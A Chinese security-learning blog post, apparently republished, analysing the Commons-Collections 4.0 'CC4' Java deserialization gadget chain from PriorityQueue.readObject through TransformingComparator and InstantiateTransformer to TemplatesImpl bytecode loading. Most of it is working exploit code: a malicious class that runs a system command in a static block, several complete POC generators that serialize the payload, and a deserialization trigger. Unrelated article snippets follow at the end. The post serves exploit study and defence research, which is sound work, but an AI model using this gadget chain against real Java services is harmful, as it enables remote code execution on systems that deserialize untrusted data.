Commons-Collections篇-CC4链分析

前言

因为 CommonsCollections4 除 4.0 的其他版本去掉了 InvokerTransformer 继承 Serializable,导致该方法无法序列化。
同时 CommonsCollections 4的版本 TransformingComparator 继承了 Serializable接口,而CommonsCollections 3里是没有的,所以命令执行点还是一致的
可以在transform()的上一步中用TransformingComparator来代替

1.环境安装

CommonsCollections = 4.0
在pom.xml中加入4.0版本的依赖并加载

<dependencies><!-- https://mvnrepository.com/artifact/commons-collections/commons-collections --><dependency><groupId>org.apache.commons</groupId><artifactId>commons-collections4</artifactId><version>4.0</version></dependency>
</dependencies>

在这里插入图片描述

2.分析

我们继续在transform()处find usage,找到了TransformingComparator#compare()
在这里插入图片描述
在这里插入图片描述
这是我们常见的方法,我们继续往前找,在PriorityQueue#siftDownUsingComparator()方法找到了compare()的调用
在这里插入图片描述
在这里插入图片描述
这段代码是一个泛型方法,用于执行堆数据结构中的下沉操作,通常是堆排序算法和优先队列的一部分
我们继续查看调用情况,我们找到了同类中的heapify方法进行了调用
在这里插入图片描述
并且我们发现了PriorityQueue类的readObject方法
在这里插入图片描述
所以目前的路线已经清楚了
PriorityQueue#readObject —> PriorityQueue#heapify() —> PriorityQueue#siftDownUsingComparator() —>TransformingComparator.compare()

再加上我们在CC3中分析的就组成了一条利用链
Commons-Collections篇-CC3链
InstantiateTransformer.transform() —>TemplatesImpl.newTransformer() —> defineClass()->newInstance()

3.解决报错

首先编译一个恶意类用来执行命令

package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Calc extends AbstractTranslet {static {try {Runtime.getRuntime().exec("calc");} catch (IOException e){e.printStackTrace();}}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.map.TransformedMap;import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;public class CC4 {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();Class ca = templates.getClass();Field name = ca.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"admin");Field byteField = ca.getDeclaredField("_bytecodes");byteField.setAccessible(true);byte[] evil = Files.readAllBytes(Paths.get("D:\\bianyi\\pycharm\\IDEA\\Projects\\untitled1\\target\\classes\\org\\example\\Calc.class"));byte[][] codes = {evil};byteField.set(templates,codes);Field tfactory = ca.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,new TransformerFactoryImpl());//        templates.newTransformer();InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
//        instantiateTransformer.transform(TrAXFilter.class);Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),instantiateTransformer};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);//序列化serializable(priorityQueue);unserializable();}private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{FileInputStream fis = new FileInputStream("obj");ObjectInputStream ois = new ObjectInputStream(fis);Object o = ois.readObject();return o;}private static void serializable(Object o) throws IOException, ClassNotFoundException{FileOutputStream fos = new FileOutputStream("obj");ObjectOutputStream os = new ObjectOutputStream(fos);os.writeObject(o);os.close();}
}

直接执行却没有触发计算器
我们进行调试发现在下图的步骤中跳出,并没有继续执行下去
在这里插入图片描述
首先要执行for循环,i>=0。i的取值又取决于表达式 i = (n >>> 1) - 1,这是一个赋值操作,其中 n >>> 1 是将 n 无符号右移一位的结果,然后从这个结果中减去 1 来得到 i 的值,所以n>=2的时候,咱们的i就符合条件了。

而n的值是Size 就是 PriorityQueue 这个队列的长度,所以咱们尝试往队列中添加两个值

priorityQueue.add(1);  
priorityQueue.add(2);
package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.map.TransformedMap;import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;public class CC4 {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();Class ca = templates.getClass();Field name = ca.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"admin");Field byteField = ca.getDeclaredField("_bytecodes");byteField.setAccessible(true);byte[] evil = Files.readAllBytes(Paths.get("D:\\bianyi\\pycharm\\IDEA\\Projects\\untitled1\\target\\classes\\org\\example\\Calc.class"));byte[][] codes = {evil};byteField.set(templates,codes);Field tfactory = ca.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,new TransformerFactoryImpl());//        templates.newTransformer();InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
//        instantiateTransformer.transform(TrAXFilter.class);Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),instantiateTransformer};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);priorityQueue.add(1);priorityQueue.add(2);//序列化
//        serializable(priorityQueue);
//
//        unserializable();}private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{FileInputStream fis = new FileInputStream("obj");ObjectInputStream ois = new ObjectInputStream(fis);Object o = ois.readObject();return o;}private static void serializable(Object o) throws IOException, ClassNotFoundException{FileOutputStream fos = new FileOutputStream("obj");ObjectOutputStream os = new ObjectOutputStream(fos);os.writeObject(o);os.close();}
}

我们直接运行,发现在没有序列化之前就已经运行出计算器,同时还出现了报错
在这里插入图片描述
我们打下断点进行调试分析原因,发现在进行添加第二个数值的时候触发了compare()

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述所以我们可以按照之前几次分析的思路,先进行一次无效的赋值,让他正常运行,但不进行操作,在最后重新通过反射赋值回来

Class c = transformingComparator.getClass();
Field trans = c.getDeclaredField("transformer");
trans.setAccessible(true);
trans.set(transformingComparator,chainedTransformer);

分析出计算器的弹出之后,同时在这次的代码中最后可以舍弃_tfactory的赋值,因为之前在CC3中我们的分析,刚开始进行了templates.newTransformer()操作,并没有进行反序列化,我们需要自己提前对他进行赋值,才能运行成功。

在刚开始的反序列化中,jvm会对涉及的类如果有readObject的时候会默认构建,在TemplatesImpl类中,readObject有一个赋值操作,所以我们不用再进行相关操作了
在这里插入图片描述

4.编写POC

我们对上面的进行总结,编写POC

package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.map.TransformedMap;import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;public class CC4 {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();Class ca = templates.getClass();Field name = ca.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"admin");Field byteField = ca.getDeclaredField("_bytecodes");byteField.setAccessible(true);byte[] evil = Files.readAllBytes(Paths.get("D:\\bianyi\\pycharm\\IDEA\\Projects\\untitled1\\target\\classes\\org\\example\\Calc.class"));byte[][] codes = {evil};byteField.set(templates,codes);//        Field tfactory = ca.getDeclaredField("_tfactory");
//        tfactory.setAccessible(true);
//        tfactory.set(templates,new TransformerFactoryImpl());//        templates.newTransformer();InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
//        instantiateTransformer.transform(TrAXFilter.class);Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),instantiateTransformer};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);priorityQueue.add(1);priorityQueue.add(2);Class c = transformingComparator.getClass();Field trans = c.getDeclaredField("transformer");trans.setAccessible(true);trans.set(transformingComparator,chainedTransformer);//序列化serializable(priorityQueue);
//
//        unserializable();}private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{FileInputStream fis = new FileInputStream("obj");ObjectInputStream ois = new ObjectInputStream(fis);Object o = ois.readObject();return o;}private static void serializable(Object o) throws IOException, ClassNotFoundException{FileOutputStream fos = new FileOutputStream("obj");ObjectOutputStream os = new ObjectOutputStream(fos);os.writeObject(o);os.close();}
}

我们运行反序列化POC,成功弹出

package org.example;import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;public class Main {public static void main(String[] args) throws Exception {//命令执行代码unserializable();}private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{FileInputStream fis = new FileInputStream("obj");ObjectInputStream ois = new ObjectInputStream(fis);Object o = ois.readObject();return o;}}

在这里插入图片描述
所以这次的链还是比较简单的,整体路线为:

PriorityQueue.readObject()PririPriorityQueuety.heapify()PririPriorityQueuety.siftDown()PririPriorityQueuety.siftDownUsingComparator()Comparator.compare()instantiateTransformer.compare()instantiateTransformer.transform()TrAXFilter.TrAXFilter()TemplatesImpl.newTransformer()definclass -> newInstance()

本系列历史文章

反序列化之路-URLDNS

Commons-Collections篇-CC1链小白基础分析学习

CC1链补充-LazyMap

Commons-Collections篇-CC6链分析

Commons-Collections篇-CC3链

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/27479.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

hrm人力管理系统源码(从招聘到薪酬的全过程人力管控系统)

一、项目介绍 一款全源码可二开&#xff0c;可基于云部署、私有部署的企业级数字化人力资源管理系统&#xff0c;涵盖了招聘、人事、考勤、绩效、社保、酬薪六大模块&#xff0c;解决了从人事招聘到酬薪计算的全周期人力资源管理&#xff0c;符合当下大中小型企业组织架构管理运…

Stringboot

一、概述 springboot是spring家族中的一个全新框架&#xff0c;用来简化spring程序的创建和开发过程。在以往我们通过SpringMVCSpringMybatis框架进行开发的时候&#xff0c;我们需要配置web.xml&#xff0c;spring配置&#xff0c;mybatis配置&#xff0c;然后整合在一起&…

django.db.utils.NotSupportedError: MySQL 8 or later is required (found 5.7.33).

django.db.utils.NotSupportedError: MySQL 8 or later is required (found 5.7.33). 一、原因分析 在新版的Django默认需要MySQL 8或更高版本&#xff0c;才能运行。 二、解决办法 1、升级mysql数据库版本 只需要将mysql版本升级到8.0&#xff0c;即可解决&#xff0c;当然这…

基于esp8266_点灯blinker_智能家居

文章目录 一 实现思路1 项目简介2 项目构成3 代码实现4 外壳部分 二 效果展示UI图片 一 实现思路 摘要&#xff1a;esp8266&#xff0c;mixly&#xff0c;点灯blinker&#xff0c;物联网&#xff0c;智能家居&#xff0c;3donecut 1 项目简介 1 项目效果 通过手机blinker app…

宝藏速成秘籍(3)选择排序法

一、前言 1.1、概念 选择排序法&#xff08;Selection Sort&#xff09;是一种简单直观的排序算法。它的基本思想是&#xff1a;每次从待排序的数组中选择最小&#xff08;或最大&#xff09;的元素&#xff0c;将其放在已排序部分的末尾&#xff0c;直到所有元素都排序完毕。…

Unet心电信号分割方法(Pytorch)

心血管疾病是一种常见病&#xff0c;严重影响人们的健康及日常生活。 近年来随着人们生活习惯的不断变化&#xff0c;心血管疾病对人们影响愈加明显&#xff0c;发病率呈现出逐年攀升的趋势&#xff0c;心血管疾病是中国城乡居民死亡的首要原因。心电图ECG已被广泛用于研究心跳…

光学雨量监测站:科技赋能,精准监测降水过程

TH-YJ3随着科技的不断进步&#xff0c;光学雨量监测站作为一种先进的降水监测设备&#xff0c;正逐渐在气象、水文、农业等领域发挥重要作用。光学雨量监测站以其高精度、高可靠性、实时性强的特点&#xff0c;为降水数据的收集和分析提供了强有力的支持&#xff0c;为相关领域…

Nginx负载均衡之长连接负载均衡

当客户端通过浏览器访问 HTTP 服务器时&#xff0c;HTTP 请求会通过 TCP 协议与 HTTP 服务器建立一条访问通道&#xff0c;当本次访问数据传输完毕后&#xff0c;该 TCP 连接会立即被断开&#xff0c;由于这个连接存在的时间很短&#xff0c;所以 HTTP 连接也被称为短连接。 …

Lua实现自定义函数面向对象编程

本文目录 1、引言2、原理3、实例4、层析验证 文章对应视频教程&#xff1a; 暂无&#xff0c;可以关注我的B站账号等待更新。 点击图片或链接访问我的B站主页~~~ 1、引言 在现代软件开发中&#xff0c;面向对象编程&#xff08;OOP&#xff09;已经成为一种广泛使用的编程范式…

俄罗斯Yandex推广投放如何开户?Yandex广告开户和代运营推广流程详解_俄罗斯_受众_搜索引擎

在俄罗斯进行Yandex广告推广是一种有效的在线营销方式&#xff0c;特别是针对俄罗斯市场。Yandex是俄罗斯最受欢迎的搜索引擎&#xff0c;类似于Google在全球范围内的地位。以下是通过Yandex广告推广的一般步骤&#xff0c;以及如何通过上海上弦进行广告开户和代运营。 1. Yan…

怎么图片转excel表格?推荐三个方法

怎么图片转excel表格&#xff1f;在信息化高速发展的今天&#xff0c;图片转Excel表格的需求日益凸显&#xff0c;尤其是在职场办公中&#xff0c;这一需求更是显得尤为迫切。为了满足广大用户的需求&#xff0c;市面上涌现出了众多图片转Excel的软件。今天&#xff0c;就为大家…

Git 基础操作(一)

Git 基础操作 配置Git 安装完Git后&#xff0c;首先要做的事情是设置你的 用户名 和 e-mail 地址。这样在你向仓库提交代码的时候&#xff0c;就知道是谁提交的&#xff0c;以及提交人的联系方式。 配置用户名和邮箱 使用git config [--global] user.name "你的名字&qu…

Windows如何找回永久删除的文件?完整教程看完即会!

可以找回永久删除的文件&#xff1f; 你是否也在Windows 10中永久删除过文件&#xff1f;什么是永久删除&#xff1f;通常有5种方法可以永久删除文件&#xff1a; 正常删除文件&#xff0c;然后在回收站中再次删除。使用命令提示符&#xff1a;“del”删除文件。使用“ShiftD…

RS485和CAN电路中的TVS管选择

在RS485和CAN电路设计中&#xff0c;经常要考虑“静电和浪涌保护”&#xff0c;怎么选择TVS管&#xff0c;很少有人讲解。 1、先了解TVS管 TVS管有单向管和双向管&#xff0c;通常后缀为CA的是双向TVS管&#xff0c;只有字母A的是单向TVS管。见下图&#xff1a; 2、TVS选择依…

【LLM之RAG】Adaptive-RAG论文阅读笔记

研究背景 文章介绍了大型语言模型&#xff08;LLMs&#xff09;在处理各种复杂查询时的挑战&#xff0c;特别是在不同复杂性的查询处理上可能导致不必要的计算开销或处理不足的问题。为了解决这一问题&#xff0c;文章提出了一种自适应的查询处理框架&#xff0c;动态选择最合…

4天掌握一门新技能是一种什么样的体验?

你能想象这门技术覆盖面有多广吗&#xff1f; 从地产中介到教育培训&#xff0c;从生产制造业到政府企事业、从消费生活到智慧文旅....这门技术都可以为这些行业提供服务。这就是今天要介绍的——VR全景 投入成本有多高&#xff1f; 放在以前&#xff0c;可能还不会推荐&#x…

大规模装箱问题:蜣螂优化算法DBO求解二维装箱问题(MATLAB代码)

一、问题描述 装载率:所有选择的箱子的总面积与夹板面积之比 假设一共有300个箱子&#xff0c;如何设计算法&#xff0c;使得选择部分箱子放入80*80的甲板上&#xff0c;让甲板的装载率越大&#xff0c;要求箱子间不得重叠。 二、蜣螂优化算法求解二维装箱问题 蜣螂优化算法…

Docker中部署Jenkins+Pipline流水线基础语法入门

场景 DockerCompose中部署Jenkins&#xff08;Docker Desktop在windows上数据卷映射&#xff09;&#xff1a; DockerCompose中部署Jenkins&#xff08;Docker Desktop在windows上数据卷映射&#xff09;-CSDN博客 DockerComposeJenkinsPipeline流水线打包SpringBoot项目(解…

next.js v14 升级全步骤|迁移 pages Router 到 App Router

【概括】本文升级整体按照官网文档指引进行&#xff0c;在迁移 pages Router 前先看了官网的实操视频。 【注意】文章内对 .babel.ts、next.config.js 进行了多次更改&#xff0c;最终配置可见 报错3: Server Error ReferenceError: React is not defined 一、升级 Next.js 版…

Pytorch 卷积神经网络-手写数字识别

卷积神经网络是深度学习中的一个里程碑式的技术&#xff0c;有了这个技术&#xff0c;才会让计算机有能力理解图片和视频信息&#xff0c;才会有计算机视觉的众多应用。 本文讨论卷积神经网络模型&#xff08;CNN&#xff09;的Hello World。前面讨论的是一个二分类问题&#x…